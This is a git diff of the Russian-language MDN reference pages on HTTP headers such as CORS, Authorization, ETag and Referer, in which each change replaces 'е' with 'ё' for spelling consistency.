--git a/files/ru/web/http/headers/access-control-allow-methods/index.html b/files/ru/web/http/headers/access-control-allow-methods/index.html index 788d616348..1f6b997095 100644 --- a/files/ru/web/http/headers/access-control-allow-methods/index.html +++ b/files/ru/web/http/headers/access-control-allow-methods/index.html @@ -34,7 +34,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods <dl> <dt><method></dt> - <dd>Разделенный запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">методов HTTP запросов</a>.</dd> + <dd>Разделённый запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">методов HTTP запросов</a>.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods <h2 id="Замечания_по_совместимости">Замечания по совместимости</h2> <ul> - <li>Подстановочное значение (*), которое упоминается в последней спецификации еще не реализовано в браузерах: + <li>Подстановочное значение (*), которое упоминается в последней спецификации ещё не реализовано в браузерах: <ul> <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> <li>Firefox: {{bug(1309358)}}</li> diff --git a/files/ru/web/http/headers/access-control-allow-origin/index.html b/files/ru/web/http/headers/access-control-allow-origin/index.html index 402d34c996..a8c83a5fb6 100644 --- a/files/ru/web/http/headers/access-control-allow-origin/index.html +++ b/files/ru/web/http/headers/access-control-allow-origin/index.html @@ -32,7 +32,7 @@ Access-Control-Allow-Origin: null <dl> <dt><code>*</code></dt> - <dd>Для запросов <em>без учетных данных</em>. Значение "<code>*</code>" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учетными данными приведет к <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибке</a>.</dd> + <dd>Для запросов <em>без учётных данных</em>. Значение "<code>*</code>" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учётными данными приведёт к <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибке</a>.</dd> <dt><code><origin></code></dt> <dd>Указывает источник. Может быть указан только один источник.</dd> <dt><code>null</code></dt> @@ -51,7 +51,7 @@ Access-Control-Allow-Origin: null <pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre> -<p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешенным набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешенным списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p> +<p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешённым набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешённым списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p> <h3 id="CORS_и_кэширование">CORS и кэширование</h3> diff --git a/files/ru/web/http/headers/access-control-max-age/index.html b/files/ru/web/http/headers/access-control-max-age/index.html index b889deae0f..2653520439 100644 --- a/files/ru/web/http/headers/access-control-max-age/index.html +++ b/files/ru/web/http/headers/access-control-max-age/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Max-Age <td>{{Glossary("Заголовок ответа")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> </tbody> diff --git a/files/ru/web/http/headers/authorization/index.html b/files/ru/web/http/headers/authorization/index.html index 462f6f0c57..71566867b0 100644 --- a/files/ru/web/http/headers/authorization/index.html +++ b/files/ru/web/http/headers/authorization/index.html @@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Authorization <td>{{Glossary("Request header")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>Нет</td> </tr> </tbody> @@ -43,12 +43,12 @@ original_slug: Web/HTTP/Заголовки/Authorization <dt><данные пользователя></dt> <dd>Если используется схема авторизации «Базовая», данные пользователя формируются следующим образом: <ul> - <li>Логин и пароль, разделенные двоеточием (<code>aladdin:opensesame</code>).</li> + <li>Логин и пароль, разделённые двоеточием (<code>aladdin:opensesame</code>).</li> <li>Результирующая строка, закодированная в <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li> </ul> <div class="note"> - <p><strong>Примечание</strong>: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учетных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.</p> + <p><strong>Примечание</strong>: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учётных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.</p> </div> </dd> </dl> diff --git a/files/ru/web/http/headers/cache-control/index.html b/files/ru/web/http/headers/cache-control/index.html index 4d1165c324..70acce7e01 100644 --- a/files/ru/web/http/headers/cache-control/index.html +++ b/files/ru/web/http/headers/cache-control/index.html @@ -87,7 +87,7 @@ Cache-Control: stale-if-error=<seconds> <dl> <dt><code>max-age=<seconds></code></dt> - <dd>Задает максимальное время в течение которого ресурс будет считаться актуальным. В отличие от <code>Expires</code>, данная инструкция является относительной по отношению ко времени запроса.</dd> + <dd>Задаёт максимальное время в течение которого ресурс будет считаться актуальным. В отличие от <code>Expires</code>, данная инструкция является относительной по отношению ко времени запроса.</dd> <dt><code>s-maxage=<seconds></code></dt> <dd>Переопределяет <code>max-age</code> или заголовок <code>Expires</code>, но применяется только для разделяемых кэшей (например, прокси) и игнорируется частными кэшами.</dd> <dt><code>max-stale[=<seconds>]</code></dt> diff --git a/files/ru/web/http/headers/connection/index.html b/files/ru/web/http/headers/connection/index.html index 1470326d45..a68e883264 100644 --- a/files/ru/web/http/headers/connection/index.html +++ b/files/ru/web/http/headers/connection/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Connection --- <div>{{HTTPSidebar}}</div> -<p>Заголовок <strong><code>Connection</code></strong> определяет, остается ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение <code>keep-alive</code>, то соединение остается и не завершается, позволяя выполнять последующие запросы на тот же сервер.</p> +<p>Заголовок <strong><code>Connection</code></strong> определяет, остаётся ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение <code>keep-alive</code>, то соединение остаётся и не завершается, позволяя выполнять последующие запросы на тот же сервер.</p> <div class="blockIndicator warning"> <p>Заголовки, связанные с соединением, такие как {{HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">запрещены в HTTP/2</a>. Chrome и Firefox просто игнорируют эти заголовки в HTTP/2 ответах, однако Safari, следуя требованиям HTTP/2, вообще не будет загружать какие-либо ответы, которые содержат данные заголовки.</p> @@ -26,7 +26,7 @@ original_slug: Web/HTTP/Заголовки/Connection <td>{{Glossary("General header", "Общий заголовок")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>да</td> </tr> </tbody> diff --git a/files/ru/web/http/headers/content-disposition/index.html b/files/ru/web/http/headers/content-disposition/index.html index 144fb4b808..70ad08a53a 100644 --- a/files/ru/web/http/headers/content-disposition/index.html +++ b/files/ru/web/http/headers/content-disposition/index.html @@ -36,7 +36,7 @@ original_slug: Web/HTTP/Заголовки/Content-Disposition <h3 id="Как_заголовок_ответа_с_обычным_телом">Как заголовок ответа с обычным телом</h3> -<p>Первым параметром в контексте HTTP должен быть или <code>inline</code> (это значение по умолчанию, указывающее, что контент должен быть отображен внутри веб-страницы или как веб-страница) или <code>attachment</code> (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра <code>filename</code>, если он задан).</p> +<p>Первым параметром в контексте HTTP должен быть или <code>inline</code> (это значение по умолчанию, указывающее, что контент должен быть отображён внутри веб-страницы или как веб-страница) или <code>attachment</code> (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра <code>filename</code>, если он задан).</p> <pre class="syntaxbox">Content-Disposition: inline Content-Disposition: attachment diff --git a/files/ru/web/http/headers/content-encoding/index.html b/files/ru/web/http/headers/content-encoding/index.html index 47c1db50a5..2584223a02 100644 --- a/files/ru/web/http/headers/content-encoding/index.html +++ b/files/ru/web/http/headers/content-encoding/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Content-Encoding --- <div>{{HTTPSidebar}}</div> -<p><strong><code>Content-Encoding</code></strong> - это сущность заголовка, используемая для сжатия медиа-типа. При наличии ее значение определяет кодировку, примененную к сущности <strong><code>body</code></strong>. Это позволяет клиенту информацию как декодировать <strong><code>body</code></strong>, чтобы получить медиа-тип ссылающийся на заголовок <code><strong>Content-Type </strong></code></p> +<p><strong><code>Content-Encoding</code></strong> - это сущность заголовка, используемая для сжатия медиа-типа. При наличии её значение определяет кодировку, применённую к сущности <strong><code>body</code></strong>. Это позволяет клиенту информацию как декодировать <strong><code>body</code></strong>, чтобы получить медиа-тип ссылающийся на заголовок <code><strong>Content-Type </strong></code></p> <p>Рекомендация - сжимать данные насколько это возможно и следовательно использовать это поле, но некоторые типы данных, такие как изображения в формате jpeg, уже сжаты. Иногда, использование дополнительного сжатия не уменьшает размер пакета и даже может сделать загрузку дольше.</p> diff --git a/files/ru/web/http/headers/content-language/index.html b/files/ru/web/http/headers/content-language/index.html index bf273885a3..04d7618e57 100644 --- a/files/ru/web/http/headers/content-language/index.html +++ b/files/ru/web/http/headers/content-language/index.html @@ -46,7 +46,7 @@ Content-Language: de-DE, en-CA <dl> <dt><code>language-tag</code></dt> - <dd>Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учета регистра, разделенных символом дефиса ("<code>-</code>", <code>%x2D</code>).</dd> + <dd>Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учёта регистра, разделённых символом дефиса ("<code>-</code>", <code>%x2D</code>).</dd> <dd>В большинстве случаев языковой тег состоит из подтега основного языка, который идентифицирует широкое семейство родственных языков (например, "<code>en</code>" = English), за которым дополнительно следует ряд подтегов, уточняющих или сужающих диапазон этого языка (например, "<code>en-CA</code>" = вариант диалекта английского языка, использующегося в Канаде).</dd> </dl> diff --git a/files/ru/web/http/headers/date/index.html b/files/ru/web/http/headers/date/index.html index 164663440a..c9bb0be9d6 100644 --- a/files/ru/web/http/headers/date/index.html +++ b/files/ru/web/http/headers/date/index.html @@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Date <td>{{Glossary("Основной")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Запрещённое имя заголовка")}}</th> <td>да</td> </tr> </tbody> @@ -37,17 +37,17 @@ original_slug: Web/HTTP/Заголовки/Date <dt><day-name></dt> <dd>Одно из "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (регистрозависимое значение).</dd> <dt><day></dt> - <dd>Номер дня с ведущим нулем, например "04" или "23".</dd> + <dd>Номер дня с ведущим нулём, например "04" или "23".</dd> <dt><month></dt> <dd>Один из "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (регистрозависимое значение).</dd> <dt><year></dt> <dd>Год из 4-х символов, например "1990" или "2016".</dd> <dt><hour></dt> - <dd>Часы с ведущим нулем, например "09" или "23".</dd> + <dd>Часы с ведущим нулём, например "09" или "23".</dd> <dt><minute></dt> - <dd>Минуты с ведущим нулем, например "04" или "59".</dd> + <dd>Минуты с ведущим нулём, например "04" или "59".</dd> <dt><second></dt> - <dd>Секунды с ведущим нулем, например "04" или "59".</dd> + <dd>Секунды с ведущим нулём, например "04" или "59".</dd> <dt>GMT</dt> <dd> <p>Время по Гринвичу. HTTP даты всегда представлены в GMT, а не в локальном времени</p> diff --git a/files/ru/web/http/headers/etag/index.html b/files/ru/web/http/headers/etag/index.html index 4d5e8ae282..7f8b3a6ce7 100644 --- a/files/ru/web/http/headers/etag/index.html +++ b/files/ru/web/http/headers/etag/index.html @@ -17,7 +17,7 @@ original_slug: Web/HTTP/Заголовки/ETag <td>{{Glossary("Заголовок ответа")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> </tbody> @@ -35,7 +35,7 @@ ETag: "<etag_value>" <dt><code>W/</code> {{optional_inline}}</dt> <dd><code>'W/'</code> (чувствителен к регистру) указывает, что используется <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">слабый валидатор</a>. Слабые валидаторы легко сгенерировать, но они намного реже используются для сравнения. Сильные валидаторы идеальны для сравнения, но их может быть очень сложно сгенерировать эффективно. Слабое значение <code>Etag</code> двух представлений одного и того же ресурса может быть семантически одинаково, но не байт-в-байт.</dd> <dt>"<etag_value>"</dt> - <dd>Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключенная в двойные кавычки (например, <code>"675af34563dc-tr34"</code>). Метод, по которому генерируются значения <code>ETag</code>, не определен. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.</dd> + <dd>Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключённая в двойные кавычки (например, <code>"675af34563dc-tr34"</code>). Метод, по которому генерируются значения <code>ETag</code>, не определён. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.</dd> </dl> <h2 id="Примеры">Примеры</h2> @@ -63,7 +63,7 @@ ETag: W/"0815"</pre> <pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> -<p>После чего сервер сравнит клиентский <code>ETag</code> (отправленный с помощью <code>If-None-Match</code>) с <code>ETag</code> для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернет статус {{HTTPStatus("304")}}<code> Not Modified</code>, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.</p> +<p>После чего сервер сравнит клиентский <code>ETag</code> (отправленный с помощью <code>If-None-Match</code>) с <code>ETag</code> для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернёт статус {{HTTPStatus("304")}}<code> Not Modified</code>, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/http/headers/expect/index.html b/files/ru/web/http/headers/expect/index.html index f6182f09c7..5e4e355851 100644 --- a/files/ru/web/http/headers/expect/index.html +++ b/files/ru/web/http/headers/expect/index.html @@ -8,7 +8,7 @@ original_slug: Web/HTTP/Заголовки/Expect <p>Запрос "HTTP Expect" указывает ожидания, которые должен выполнить сервер, чтобы правильно обработать запрос.</p> -<p>Единственным ожиданием, определенным в спецификации, является "Expect: 100-continue", на который сервер должен ответить:</p> +<p>Единственным ожиданием, определённым в спецификации, является "Expect: 100-continue", на который сервер должен ответить:</p> <ul> <li>{{HTTPStatus("100")}} если информации, содержащейся в заголовке, достаточно, чтобы вызвать немедленный успех,</li> diff --git a/files/ru/web/http/headers/expires/index.html b/files/ru/web/http/headers/expires/index.html index f388db7437..b5b0c6cf1b 100644 --- a/files/ru/web/http/headers/expires/index.html +++ b/files/ru/web/http/headers/expires/index.html @@ -24,7 +24,7 @@ original_slug: Web/HTTP/Заголовки/Expires <td>{{Glossary("Response header")}}</td> </tr> <tr> - <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th> + <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th> <td>нет</td> </tr> <tr> diff --git a/files/ru/web/http/headers/if-match/index.html b/files/ru/web/http/headers/if-match/index.html index 1f46b5bbb1..d6ec7f0b9a 100644 --- a/files/ru/web/http/headers/if-match/index.html +++ b/files/ru/web/http/headers/if-match/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/If-Match <p>Сравнение с хранимым {{HTTPHeader("ETag")}} использует сильный алгоритм сравнения, то есть два файла считаются одинаковыми байтами только байтом. Это ослабляется, когда префикс <strong><code>W/</code></strong>используется перед <strong>ETag.</strong></p> -<p>Существует два распространенных варианта использования:</p> +<p>Существует два распространённых варианта использования:</p> <ul> <li>Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}, используемых в сочетании с {{HTTPHeader("Range")}}, он может гарантировать, что запрашиваемые новые диапазоны с того же ресурса, что и предыдущий. Если он не соответствует, то возвращается ответ {{HTTPStatus("416")}} (Range Not Satisfiable).</li> @@ -40,9 +40,9 @@ If-Match: <etag_value>, <etag_value>, … <dl> <dt><etag_value></dt> - <dd>Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещенных между двойными кавычками (например, <strong>"675af34563dc-tr34"</strong>) и могут быть префиксами<strong> W/</strong>, чтобы указать, что следует использовать слабый алгоритм сравнения.</dd> + <dd>Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещённых между двойными кавычками (например, <strong>"675af34563dc-tr34"</strong>) и могут быть префиксами<strong> W/</strong>, чтобы указать, что следует использовать слабый алгоритм сравнения.</dd> <dt><code>*</code></dt> - <dd>Звездочка представляет собой специальное значение, представляющее любой ресурс.</dd> + <dd>Звёздочка представляет собой специальное значение, представляющее любой ресурс.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/http/headers/if-modified-since/index.html b/files/ru/web/http/headers/if-modified-since/index.html index 5b6563036e..8adad2f7cc 100644 --- a/files/ru/web/http/headers/if-modified-since/index.html +++ b/files/ru/web/http/headers/if-modified-since/index.html @@ -11,11 +11,11 @@ original_slug: Web/HTTP/Заголовки/If-Modified-Since --- <div>{{HTTPSidebar}}</div> -<p>Заголовок HTTP запроса <strong><code>If-Modified-Since</code></strong> делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменен после указанной даты. Если запрос не был изменен после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.</p> +<p>Заголовок HTTP запроса <strong><code>If-Modified-Since</code></strong> делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменён после указанной даты. Если запрос не был изменён после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.</p> <p>При использовании в сочетании с {{HTTPHeader("If-None-Match")}} заголовок <code>If-Modified-Since</code> игнорируется, кроме тех случаев, когда сервер не поддерживает If-None-Match.</p> -<p>Наиболее распространенным вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.</p> +<p>Наиболее распространённым вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/headers/if-unmodified-since/index.html b/files/ru/web/http/headers/if-unmodified-since/index.html index 93a843facc..a9b70ee934 100644 --- a/files/ru/web/http/headers/if-unmodified-since/index.html +++ b/files/ru/web/http/headers/if-unmodified-since/index.html @@ -12,12 +12,12 @@ original_slug: Web/HTTP/Заголовки/If-Unmodified-Since <div> <p>{{HTTPSidebar}}</p> -<p>HTTP-заголовок запроса <code><strong>If-Unmodified-Since</strong></code> делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменен после указанной даты. Если запрос был изменен после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p> +<p>HTTP-заголовок запроса <code><strong>If-Unmodified-Since</strong></code> делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменён после указанной даты. Если запрос был изменён после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p> -<p>Существует два распространенных варианта использования:</p> +<p>Существует два распространённых варианта использования:</p> <ul> - <li>В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохраненный документ был изменен с момента восстановления оригинала.</li> + <li>В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохранённый документ был изменён с момента восстановления оригинала.</li> </ul> </div> diff --git a/files/ru/web/http/headers/index.html b/files/ru/web/http/headers/index.html index ddb86dab64..7c1de3ac7b 100644 --- a/files/ru/web/http/headers/index.html +++ b/files/ru/web/http/headers/index.html @@ -52,11 +52,11 @@ original_slug: Web/HTTP/Заголовки <strong>{{HTTPHeader("WWW-Authenticate")}}</strong><br> Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.<br> <strong>{{HTTPHeader ( "Authorization")}}</strong><br> - Содержит учетные данные для аутентификации агента пользователя на сервере.<br> + Содержит учётные данные для аутентификации агента пользователя на сервере.<br> <strong>{{HTTPHeader ( "Proxy-Authenticate")}}</strong><br> Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.<br> <strong>{{HTTPHeader ( "Proxy-Authorization")}}</strong><br> - Содержит учетные данные для аутентификации агента пользователя с прокси-сервером.</p> + Содержит учётные данные для аутентификации агента пользователя с прокси-сервером.</p> <p>Ниже перечислены основные HTTP заголовки с кратким описанием:</p> @@ -192,7 +192,7 @@ original_slug: Web/HTTP/Заголовки </tr> <tr> <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Connection" title="ru/Connection">Connection</a></code></td> - <td>Определяет, остается ли сетевое соединение открытым после завершения текущей транзакции (запроса).</td> + <td>Определяет, остаётся ли сетевое соединение открытым после завершения текущей транзакции (запроса).</td> <td></td> <td></td> </tr> diff --git a/files/ru/web/http/headers/last-modified/index.html b/files/ru/web/http/headers/last-modified/index.html index 2c7518129c..05b7486ea6 100644 --- a/files/ru/web/http/headers/last-modified/index.html +++ b/files/ru/web/http/headers/last-modified/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Last-Modified --- <div>{{HTTPSidebar}}</div> -<p>Заголовок <strong><code>Last-Modified</code></strong> в ответе HTTP содержит дату и время, в которую, по мнению удаленного сервера, запрашиваемый ресурс был изменен. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надежный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.</p> +<p>Заголовок <strong><code>Last-Modified</code></strong> в ответе HTTP содержит дату и время, в которую, по мнению удалённого сервера, запрашиваемый ресурс был изменён. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надёжный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/headers/pragma/index.html b/files/ru/web/http/headers/pragma/index.html index 5ee1b0060f..3e6b8a9057 100644 --- a/files/ru/web/http/headers/pragma/index.html +++ b/files/ru/web/http/headers/pragma/index.html @@ -9,10 +9,10 @@ original_slug: Web/HTTP/Заголовки/Pragma --- <div>{{HTTPSidebar}}</div> -<p>Общий заголовок <strong><code>Pragma</code></strong> HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок <code>Cache-Control</code> HTTP / 1.1 еще не присутствует.</p> +<p>Общий заголовок <strong><code>Pragma</code></strong> HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок <code>Cache-Control</code> HTTP / 1.1 ещё не присутствует.</p> <div class="note"> -<p><strong>Примечание:</strong> <strong><code>Pragma</code></strong> не указана для ответов HTTP и поэтому не является надежной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведет себя так же, как <code>Cache-Control: no-cache</code>, если поле заголовка управления кэшем опущено в запросе. Используйте <code>Pragma</code> только для обратной совместимости с клиентами HTTP / 1.0.</p> +<p><strong>Примечание:</strong> <strong><code>Pragma</code></strong> не указана для ответов HTTP и поэтому не является надёжной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведёт себя так же, как <code>Cache-Control: no-cache</code>, если поле заголовка управления кэшем опущено в запросе. Используйте <code>Pragma</code> только для обратной совместимости с клиентами HTTP / 1.0.</p> </div> <table class="properties"> @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Pragma <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <strong><code>https://github.com/mdn/browser-compat-data</code></strong> и отправьте нам запрос.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <strong><code>https://github.com/mdn/browser-compat-data</code></strong> и отправьте нам запрос.</p> <p>{{Compat("http.headers.Pragma")}}</p> diff --git a/files/ru/web/http/headers/referer/index.html b/files/ru/web/http/headers/referer/index.html index f227769466..d80a71b11a 100644 --- a/files/ru/web/http/headers/referer/index.html +++ b/files/ru/web/http/headers/referer/index.html @@ -10,14 +10,14 @@ original_slug: Web/HTTP/Заголовки/Referer --- <div>{{HTTPSidebar}}</div> -<p>Заголовок запроса <code><strong>Referer</strong></code> содержит URL исходной страницы, с которой был осуществлен переход на текущую страницу. Заголовок <code>Referer</code> позволяет серверу узнать откуда был осуществлен переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.</p> +<p>Заголовок запроса <code><strong>Referer</strong></code> содержит URL исходной страницы, с которой был осуществлён переход на текущую страницу. Заголовок <code>Referer</code> позволяет серверу узнать откуда был осуществлён переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.</p> <p>Обратите внимание, что слово «Referer» на самом деле является неправильным написанием слова «Referrer». См. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer на Wikipedia")}} .</p> <div class="warning"> -<p>Заголовок <code>Referer</code> может раскрыть информацию пользователя об истории посещенных страниц, что может привести к нарушению приватности.</p> +<p>Заголовок <code>Referer</code> может раскрыть информацию пользователя об истории посещённых страниц, что может привести к нарушению приватности.</p> -<p>Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряженных с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.</p> +<p>Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряжённых с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.</p> <p>К примеру, по умолчанию URL страницы сброса пароля будет попадать на хосты, размещающие контент на странице, и хосты ссылок, нажатых на этой странице. В обоих случаях сторонний хост получит <code>Referer</code> пользователя.</p> @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Заголовки/Referer <ul> <li>исходный ресурс -- локальный "файл" или "data" URI,</li> - <li>используется незащищенный HTTP-запрос, а исходная страница была получена с защищенным протоколом (HTTPS).</li> + <li>используется незащищённый HTTP-запрос, а исходная страница была получена с защищённым протоколом (HTTPS).</li> </ul> <table class="properties"> @@ -57,7 +57,7 @@ original_slug: Web/HTTP/Заголовки/Referer <dl> <dt><url></dt> - <dd>Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлен переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.</dd> + <dd>Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлён переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. 